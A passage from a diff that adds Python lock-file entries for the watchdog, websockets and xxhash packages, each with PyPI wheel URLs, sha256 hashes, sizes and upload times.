"sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860", size = 88449, upload-time = "2024-11-01T14:06:39.748Z" }, + { url = "https://files.pythonhosted.org/packages/5b/7e/8f322f5e600812e6f9a31b75d242631068ca8f4ef0582dd3ae6e72daecc8/watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0", size = 89054, upload-time = "2024-11-01T14:06:41.009Z" }, + { url = "https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" }, + { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" }, + { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" }, + { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" }, + { url = "https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" }, + { url = "https://files.pythonhosted.org/packages/ab/cc/da8422b300e13cb187d2203f20b9253e91058aaf7db65b74142013478e66/watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f", size = 79077, upload-time = "2024-11-01T14:07:03.893Z" }, + { url = "https://files.pythonhosted.org/packages/2c/3b/b8964e04ae1a025c44ba8e4291f86e97fac443bca31de8bd98d3263d2fcf/watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26", size = 79078, upload-time = "2024-11-01T14:07:05.189Z" }, + { url = "https://files.pythonhosted.org/packages/62/ae/a696eb424bedff7407801c257d4b1afda455fe40821a2be430e173660e81/watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c", size = 79077, upload-time = "2024-11-01T14:07:06.376Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e8/dbf020b4d98251a9860752a094d09a65e1b436ad181faf929983f697048f/watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2", size = 79078, upload-time = "2024-11-01T14:07:07.547Z" }, + { url = "https://files.pythonhosted.org/packages/07/f6/d0e5b343768e8bcb4cda79f0f2f55051bf26177ecd5651f84c07567461cf/watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a", size = 79065, upload-time = "2024-11-01T14:07:09.525Z" }, + { url = "https://files.pythonhosted.org/packages/db/d9/c495884c6e548fce18a8f40568ff120bc3a4b7b99813081c8ac0c936fa64/watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680", size = 79070, upload-time = "2024-11-01T14:07:10.686Z" }, + { url = "https://files.pythonhosted.org/packages/33/e8/e40370e6d74ddba47f002a32919d91310d6074130fe4e17dabcafc15cbf1/watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f", size = 79067, upload-time = "2024-11-01T14:07:11.845Z" }, +] + +[[package]] +name = "websockets" +version = "16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/04/24/4b2031d72e840ce4c1ccb255f693b15c334757fc50023e4db9537080b8c4/websockets-16.0.tar.gz", hash = "sha256:5f6261a5e56e8d5c42a4497b364ea24d94d9563e8fbd44e78ac40879c60179b5", size = 179346, upload-time = "2026-01-10T09:23:47.181Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/74/221f58decd852f4b59cc3354cccaf87e8ef695fede361d03dc9a7396573b/websockets-16.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:04cdd5d2d1dacbad0a7bf36ccbcd3ccd5a30ee188f2560b7a62a30d14107b31a", size = 177343, upload-time = "2026-01-10T09:22:21.28Z" }, + { url = "https://files.pythonhosted.org/packages/19/0f/22ef6107ee52ab7f0b710d55d36f5a5d3ef19e8a205541a6d7ffa7994e5a/websockets-16.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:8ff32bb86522a9e5e31439a58addbb0166f0204d64066fb955265c4e214160f0", size = 175021, upload-time = "2026-01-10T09:22:22.696Z" }, + { url = "https://files.pythonhosted.org/packages/10/40/904a4cb30d9b61c0e278899bf36342e9b0208eb3c470324a9ecbaac2a30f/websockets-16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:583b7c42688636f930688d712885cf1531326ee05effd982028212ccc13e5957", size = 175320, upload-time = "2026-01-10T09:22:23.94Z" }, + { url = "https://files.pythonhosted.org/packages/9d/2f/4b3ca7e106bc608744b1cdae041e005e446124bebb037b18799c2d356864/websockets-16.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7d837379b647c0c4c2355c2499723f82f1635fd2c26510e1f587d89bc2199e72", size = 183815, upload-time = "2026-01-10T09:22:25.469Z" }, + { url = "https://files.pythonhosted.org/packages/86/26/d40eaa2a46d4302becec8d15b0fc5e45bdde05191e7628405a19cf491ccd/websockets-16.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df57afc692e517a85e65b72e165356ed1df12386ecb879ad5693be08fac65dde", size = 185054, upload-time = "2026-01-10T09:22:27.101Z" }, + { url = "https://files.pythonhosted.org/packages/b0/ba/6500a0efc94f7373ee8fefa8c271acdfd4dca8bd49a90d4be7ccabfc397e/websockets-16.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2b9f1e0d69bc60a4a87349d50c09a037a2607918746f07de04df9e43252c77a3", size = 184565, upload-time = "2026-01-10T09:22:28.293Z" }, + { url = "https://files.pythonhosted.org/packages/04/b4/96bf2cee7c8d8102389374a2616200574f5f01128d1082f44102140344cc/websockets-16.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:335c23addf3d5e6a8633f9f8eda77efad001671e80b95c491dd0924587ece0b3", size = 183848, upload-time = "2026-01-10T09:22:30.394Z" }, + { url = "https://files.pythonhosted.org/packages/02/8e/81f40fb00fd125357814e8c3025738fc4ffc3da4b6b4a4472a82ba304b41/websockets-16.0-cp310-cp310-win32.whl", hash = "sha256:37b31c1623c6605e4c00d466c9d633f9b812ea430c11c8a278774a1fde1acfa9", size = 178249, upload-time = "2026-01-10T09:22:32.083Z" }, + { url = "https://files.pythonhosted.org/packages/b4/5f/7e40efe8df57db9b91c88a43690ac66f7b7aa73a11aa6a66b927e44f26fa/websockets-16.0-cp310-cp310-win_amd64.whl", hash = "sha256:8e1dab317b6e77424356e11e99a432b7cb2f3ec8c5ab4dabbcee6add48f72b35", size = 178685, upload-time = "2026-01-10T09:22:33.345Z" }, + { url = "https://files.pythonhosted.org/packages/f2/db/de907251b4ff46ae804ad0409809504153b3f30984daf82a1d84a9875830/websockets-16.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:31a52addea25187bde0797a97d6fc3d2f92b6f72a9370792d65a6e84615ac8a8", size = 177340, upload-time = "2026-01-10T09:22:34.539Z" }, + { url = "https://files.pythonhosted.org/packages/f3/fa/abe89019d8d8815c8781e90d697dec52523fb8ebe308bf11664e8de1877e/websockets-16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:417b28978cdccab24f46400586d128366313e8a96312e4b9362a4af504f3bbad", size = 175022, upload-time = "2026-01-10T09:22:36.332Z" }, + { url = "https://files.pythonhosted.org/packages/58/5d/88ea17ed1ded2079358b40d31d48abe90a73c9e5819dbcde1606e991e2ad/websockets-16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:af80d74d4edfa3cb9ed973a0a5ba2b2a549371f8a741e0800cb07becdd20f23d", size = 175319, upload-time = "2026-01-10T09:22:37.602Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ae/0ee92b33087a33632f37a635e11e1d99d429d3d323329675a6022312aac2/websockets-16.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:08d7af67b64d29823fed316505a89b86705f2b7981c07848fb5e3ea3020c1abe", size = 184631, upload-time = "2026-01-10T09:22:38.789Z" }, + { url = "https://files.pythonhosted.org/packages/c8/c5/27178df583b6c5b31b29f526ba2da5e2f864ecc79c99dae630a85d68c304/websockets-16.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7be95cfb0a4dae143eaed2bcba8ac23f4892d8971311f1b06f3c6b78952ee70b", size = 185870, upload-time = "2026-01-10T09:22:39.893Z" }, + { url = "https://files.pythonhosted.org/packages/87/05/536652aa84ddc1c018dbb7e2c4cbcd0db884580bf8e95aece7593fde526f/websockets-16.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d6297ce39ce5c2e6feb13c1a996a2ded3b6832155fcfc920265c76f24c7cceb5", size = 185361, upload-time = "2026-01-10T09:22:41.016Z" }, + { url = "https://files.pythonhosted.org/packages/6d/e2/d5332c90da12b1e01f06fb1b85c50cfc489783076547415bf9f0a659ec19/websockets-16.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1c1b30e4f497b0b354057f3467f56244c603a79c0d1dafce1d16c283c25f6e64", size = 184615, upload-time = "2026-01-10T09:22:42.442Z" }, + { url = "https://files.pythonhosted.org/packages/77/fb/d3f9576691cae9253b51555f841bc6600bf0a983a461c79500ace5a5b364/websockets-16.0-cp311-cp311-win32.whl", hash = "sha256:5f451484aeb5cafee1ccf789b1b66f535409d038c56966d6101740c1614b86c6", size = 178246, upload-time = "2026-01-10T09:22:43.654Z" }, + { url = "https://files.pythonhosted.org/packages/54/67/eaff76b3dbaf18dcddabc3b8c1dba50b483761cccff67793897945b37408/websockets-16.0-cp311-cp311-win_amd64.whl", hash = "sha256:8d7f0659570eefb578dacde98e24fb60af35350193e4f56e11190787bee77dac", size = 178684, upload-time = "2026-01-10T09:22:44.941Z" }, + { url = "https://files.pythonhosted.org/packages/84/7b/bac442e6b96c9d25092695578dda82403c77936104b5682307bd4deb1ad4/websockets-16.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:71c989cbf3254fbd5e84d3bff31e4da39c43f884e64f2551d14bb3c186230f00", size = 177365, upload-time = "2026-01-10T09:22:46.787Z" }, + { url = "https://files.pythonhosted.org/packages/b0/fe/136ccece61bd690d9c1f715baaeefd953bb2360134de73519d5df19d29ca/websockets-16.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8b6e209ffee39ff1b6d0fa7bfef6de950c60dfb91b8fcead17da4ee539121a79", size = 175038, upload-time = "2026-01-10T09:22:47.999Z" }, + { url = "https://files.pythonhosted.org/packages/40/1e/9771421ac2286eaab95b8575b0cb701ae3663abf8b5e1f64f1fd90d0a673/websockets-16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86890e837d61574c92a97496d590968b23c2ef0aeb8a9bc9421d174cd378ae39", size = 175328, upload-time = "2026-01-10T09:22:49.809Z" }, + { url = "https://files.pythonhosted.org/packages/18/29/71729b4671f21e1eaa5d6573031ab810ad2936c8175f03f97f3ff164c802/websockets-16.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9b5aca38b67492ef518a8ab76851862488a478602229112c4b0d58d63a7a4d5c", size = 184915, upload-time = "2026-01-10T09:22:51.071Z" }, + { url = "https://files.pythonhosted.org/packages/97/bb/21c36b7dbbafc85d2d480cd65df02a1dc93bf76d97147605a8e27ff9409d/websockets-16.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e0334872c0a37b606418ac52f6ab9cfd17317ac26365f7f65e203e2d0d0d359f", size = 186152, upload-time = "2026-01-10T09:22:52.224Z" }, + { url = "https://files.pythonhosted.org/packages/4a/34/9bf8df0c0cf88fa7bfe36678dc7b02970c9a7d5e065a3099292db87b1be2/websockets-16.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a0b31e0b424cc6b5a04b8838bbaec1688834b2383256688cf47eb97412531da1", size = 185583, upload-time = "2026-01-10T09:22:53.443Z" }, + { url = "https://files.pythonhosted.org/packages/47/88/4dd516068e1a3d6ab3c7c183288404cd424a9a02d585efbac226cb61ff2d/websockets-16.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:485c49116d0af10ac698623c513c1cc01c9446c058a4e61e3bf6c19dff7335a2", size = 184880, upload-time = "2026-01-10T09:22:55.033Z" }, + { url = "https://files.pythonhosted.org/packages/91/d6/7d4553ad4bf1c0421e1ebd4b18de5d9098383b5caa1d937b63df8d04b565/websockets-16.0-cp312-cp312-win32.whl", hash = "sha256:eaded469f5e5b7294e2bdca0ab06becb6756ea86894a47806456089298813c89", size = 178261, upload-time = "2026-01-10T09:22:56.251Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f0/f3a17365441ed1c27f850a80b2bc680a0fa9505d733fe152fdf5e98c1c0b/websockets-16.0-cp312-cp312-win_amd64.whl", hash = "sha256:5569417dc80977fc8c2d43a86f78e0a5a22fee17565d78621b6bb264a115d4ea", size = 178693, upload-time = "2026-01-10T09:22:57.478Z" }, + { url = "https://files.pythonhosted.org/packages/cc/9c/baa8456050d1c1b08dd0ec7346026668cbc6f145ab4e314d707bb845bf0d/websockets-16.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:878b336ac47938b474c8f982ac2f7266a540adc3fa4ad74ae96fea9823a02cc9", size = 177364, upload-time = "2026-01-10T09:22:59.333Z" }, + { url = "https://files.pythonhosted.org/packages/7e/0c/8811fc53e9bcff68fe7de2bcbe75116a8d959ac699a3200f4847a8925210/websockets-16.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:52a0fec0e6c8d9a784c2c78276a48a2bdf099e4ccc2a4cad53b27718dbfd0230", size = 175039, upload-time = "2026-01-10T09:23:01.171Z" }, + { url = "https://files.pythonhosted.org/packages/aa/82/39a5f910cb99ec0b59e482971238c845af9220d3ab9fa76dd9162cda9d62/websockets-16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e6578ed5b6981005df1860a56e3617f14a6c307e6a71b4fff8c48fdc50f3ed2c", size = 175323, upload-time = "2026-01-10T09:23:02.341Z" }, + { url = "https://files.pythonhosted.org/packages/bd/28/0a25ee5342eb5d5f297d992a77e56892ecb65e7854c7898fb7d35e9b33bd/websockets-16.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:95724e638f0f9c350bb1c2b0a7ad0e83d9cc0c9259f3ea94e40d7b02a2179ae5", size = 184975, upload-time = "2026-01-10T09:23:03.756Z" }, + { url = "https://files.pythonhosted.org/packages/f9/66/27ea52741752f5107c2e41fda05e8395a682a1e11c4e592a809a90c6a506/websockets-16.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0204dc62a89dc9d50d682412c10b3542d748260d743500a85c13cd1ee4bde82", size = 186203, upload-time = "2026-01-10T09:23:05.01Z" }, + { url = "https://files.pythonhosted.org/packages/37/e5/8e32857371406a757816a2b471939d51c463509be73fa538216ea52b792a/websockets-16.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:52ac480f44d32970d66763115edea932f1c5b1312de36df06d6b219f6741eed8", size = 185653, upload-time = "2026-01-10T09:23:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/9b/67/f926bac29882894669368dc73f4da900fcdf47955d0a0185d60103df5737/websockets-16.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6e5a82b677f8f6f59e8dfc34ec06ca6b5b48bc4fcda346acd093694cc2c24d8f", size = 184920, upload-time = "2026-01-10T09:23:07.492Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a1/3d6ccdcd125b0a42a311bcd15a7f705d688f73b2a22d8cf1c0875d35d34a/websockets-16.0-cp313-cp313-win32.whl", hash = "sha256:abf050a199613f64c886ea10f38b47770a65154dc37181bfaff70c160f45315a", size = 178255, upload-time = "2026-01-10T09:23:09.245Z" }, + { url = "https://files.pythonhosted.org/packages/6b/ae/90366304d7c2ce80f9b826096a9e9048b4bb760e44d3b873bb272cba696b/websockets-16.0-cp313-cp313-win_amd64.whl", hash = "sha256:3425ac5cf448801335d6fdc7ae1eb22072055417a96cc6b31b3861f455fbc156", size = 178689, upload-time = "2026-01-10T09:23:10.483Z" }, + { url = "https://files.pythonhosted.org/packages/f3/1d/e88022630271f5bd349ed82417136281931e558d628dd52c4d8621b4a0b2/websockets-16.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8cc451a50f2aee53042ac52d2d053d08bf89bcb31ae799cb4487587661c038a0", size = 177406, upload-time = "2026-01-10T09:23:12.178Z" }, + { url = "https://files.pythonhosted.org/packages/f2/78/e63be1bf0724eeb4616efb1ae1c9044f7c3953b7957799abb5915bffd38e/websockets-16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:daa3b6ff70a9241cf6c7fc9e949d41232d9d7d26fd3522b1ad2b4d62487e9904", size = 175085, upload-time = "2026-01-10T09:23:13.511Z" }, + { url = "https://files.pythonhosted.org/packages/bb/f4/d3c9220d818ee955ae390cf319a7c7a467beceb24f05ee7aaaa2414345ba/websockets-16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:fd3cb4adb94a2a6e2b7c0d8d05cb94e6f1c81a0cf9dc2694fb65c7e8d94c42e4", size = 175328, upload-time = "2026-01-10T09:23:14.727Z" }, + { url = "https://files.pythonhosted.org/packages/63/bc/d3e208028de777087e6fb2b122051a6ff7bbcca0d6df9d9c2bf1dd869ae9/websockets-16.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:781caf5e8eee67f663126490c2f96f40906594cb86b408a703630f95550a8c3e", size = 185044, upload-time = "2026-01-10T09:23:15.939Z" }, + { url = "https://files.pythonhosted.org/packages/ad/6e/9a0927ac24bd33a0a9af834d89e0abc7cfd8e13bed17a86407a66773cc0e/websockets-16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caab51a72c51973ca21fa8a18bd8165e1a0183f1ac7066a182ff27107b71e1a4", size = 186279, upload-time = "2026-01-10T09:23:17.148Z" }, + { url = "https://files.pythonhosted.org/packages/b9/ca/bf1c68440d7a868180e11be653c85959502efd3a709323230314fda6e0b3/websockets-16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19c4dc84098e523fd63711e563077d39e90ec6702aff4b5d9e344a60cb3c0cb1", size = 185711, upload-time = "2026-01-10T09:23:18.372Z" }, + { url = "https://files.pythonhosted.org/packages/c4/f8/fdc34643a989561f217bb477cbc47a3a07212cbda91c0e4389c43c296ebf/websockets-16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a5e18a238a2b2249c9a9235466b90e96ae4795672598a58772dd806edc7ac6d3", size = 184982, upload-time = "2026-01-10T09:23:19.652Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d1/574fa27e233764dbac9c52730d63fcf2823b16f0856b3329fc6268d6ae4f/websockets-16.0-cp314-cp314-win32.whl", hash = "sha256:a069d734c4a043182729edd3e9f247c3b2a4035415a9172fd0f1b71658a320a8", size = 177915, upload-time = "2026-01-10T09:23:21.458Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f1/ae6b937bf3126b5134ce1f482365fde31a357c784ac51852978768b5eff4/websockets-16.0-cp314-cp314-win_amd64.whl", hash = "sha256:c0ee0e63f23914732c6d7e0cce24915c48f3f1512ec1d079ed01fc629dab269d", size = 178381, upload-time = "2026-01-10T09:23:22.715Z" }, + { url = "https://files.pythonhosted.org/packages/06/9b/f791d1db48403e1f0a27577a6beb37afae94254a8c6f08be4a23e4930bc0/websockets-16.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:a35539cacc3febb22b8f4d4a99cc79b104226a756aa7400adc722e83b0d03244", size = 177737, upload-time = "2026-01-10T09:23:24.523Z" }, + { url = "https://files.pythonhosted.org/packages/bd/40/53ad02341fa33b3ce489023f635367a4ac98b73570102ad2cdd770dacc9a/websockets-16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:b784ca5de850f4ce93ec85d3269d24d4c82f22b7212023c974c401d4980ebc5e", size = 175268, upload-time = "2026-01-10T09:23:25.781Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/6158d4e459b984f949dcbbb0c5d270154c7618e11c01029b9bbd1bb4c4f9/websockets-16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:569d01a4e7fba956c5ae4fc988f0d4e187900f5497ce46339c996dbf24f17641", size = 175486, upload-time = "2026-01-10T09:23:27.033Z" }, + { url = "https://files.pythonhosted.org/packages/e5/2d/7583b30208b639c8090206f95073646c2c9ffd66f44df967981a64f849ad/websockets-16.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:50f23cdd8343b984957e4077839841146f67a3d31ab0d00e6b824e74c5b2f6e8", size = 185331, upload-time = "2026-01-10T09:23:28.259Z" }, + { url = "https://files.pythonhosted.org/packages/45/b0/cce3784eb519b7b5ad680d14b9673a31ab8dcb7aad8b64d81709d2430aa8/websockets-16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:152284a83a00c59b759697b7f9e9cddf4e3c7861dd0d964b472b70f78f89e80e", size = 186501, upload-time = "2026-01-10T09:23:29.449Z" }, + { url = "https://files.pythonhosted.org/packages/19/60/b8ebe4c7e89fb5f6cdf080623c9d92789a53636950f7abacfc33fe2b3135/websockets-16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bc59589ab64b0022385f429b94697348a6a234e8ce22544e3681b2e9331b5944", size = 186062, upload-time = "2026-01-10T09:23:31.368Z" }, + { url = "https://files.pythonhosted.org/packages/88/a8/a080593f89b0138b6cba1b28f8df5673b5506f72879322288b031337c0b8/websockets-16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32da954ffa2814258030e5a57bc73a3635463238e797c7375dc8091327434206", size = 185356, upload-time = "2026-01-10T09:23:32.627Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b6/b9afed2afadddaf5ebb2afa801abf4b0868f42f8539bfe4b071b5266c9fe/websockets-16.0-cp314-cp314t-win32.whl", hash = "sha256:5a4b4cc550cb665dd8a47f868c8d04c8230f857363ad3c9caf7a0c3bf8c61ca6", size = 178085, upload-time = "2026-01-10T09:23:33.816Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3e/28135a24e384493fa804216b79a6a6759a38cc4ff59118787b9fb693df93/websockets-16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b14dc141ed6d2dde437cddb216004bcac6a1df0935d79656387bd41632ba0bbd", size = 178531, upload-time = "2026-01-10T09:23:35.016Z" }, + { url = "https://files.pythonhosted.org/packages/72/07/c98a68571dcf256e74f1f816b8cc5eae6eb2d3d5cfa44d37f801619d9166/websockets-16.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:349f83cd6c9a415428ee1005cadb5c2c56f4389bc06a9af16103c3bc3dcc8b7d", size = 174947, upload-time = "2026-01-10T09:23:36.166Z" }, + { url = "https://files.pythonhosted.org/packages/7e/52/93e166a81e0305b33fe416338be92ae863563fe7bce446b0f687b9df5aea/websockets-16.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:4a1aba3340a8dca8db6eb5a7986157f52eb9e436b74813764241981ca4888f03", size = 175260, upload-time = "2026-01-10T09:23:37.409Z" }, + { url = "https://files.pythonhosted.org/packages/56/0c/2dbf513bafd24889d33de2ff0368190a0e69f37bcfa19009ef819fe4d507/websockets-16.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f4a32d1bd841d4bcbffdcb3d2ce50c09c3909fbead375ab28d0181af89fd04da", size = 176071, upload-time = "2026-01-10T09:23:39.158Z" }, + { url = "https://files.pythonhosted.org/packages/a5/8f/aea9c71cc92bf9b6cc0f7f70df8f0b420636b6c96ef4feee1e16f80f75dd/websockets-16.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0298d07ee155e2e9fda5be8a9042200dd2e3bb0b8a38482156576f863a9d457c", size = 176968, upload-time = "2026-01-10T09:23:41.031Z" }, + { url = "https://files.pythonhosted.org/packages/9a/3f/f70e03f40ffc9a30d817eef7da1be72ee4956ba8d7255c399a01b135902a/websockets-16.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:a653aea902e0324b52f1613332ddf50b00c06fdaf7e92624fbf8c77c78fa5767", size = 178735, upload-time = "2026-01-10T09:23:42.259Z" }, + { url = "https://files.pythonhosted.org/packages/6f/28/258ebab549c2bf3e64d2b0217b973467394a9cea8c42f70418ca2c5d0d2e/websockets-16.0-py3-none-any.whl", hash = "sha256:1637db62fad1dc833276dded54215f2c7fa46912301a24bd94d45d46a011ceec", size = 171598, upload-time = "2026-01-10T09:23:45.395Z" }, +] + +[[package]] +name = "xxhash" +version = "3.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/02/84/30869e01909fb37a6cc7e18688ee8bf1e42d57e7e0777636bd47524c43c7/xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6", size = 85160, upload-time = "2025-10-02T14:37:08.097Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/34/ee/f9f1d656ad168681bb0f6b092372c1e533c4416b8069b1896a175c46e484/xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71", size = 32845, upload-time = "2025-10-02T14:33:51.573Z" }, + { url = "https://files.pythonhosted.org/packages/a3/b1/93508d9460b292c74a09b83d16750c52a0ead89c51eea9951cb97a60d959/xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d", size = 30807, upload-time = "2025-10-02T14:33:52.964Z" }, + { url = "https://files.pythonhosted.org/packages/07/55/28c93a3662f2d200c70704efe74aab9640e824f8ce330d8d3943bf7c9b3c/xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8", size = 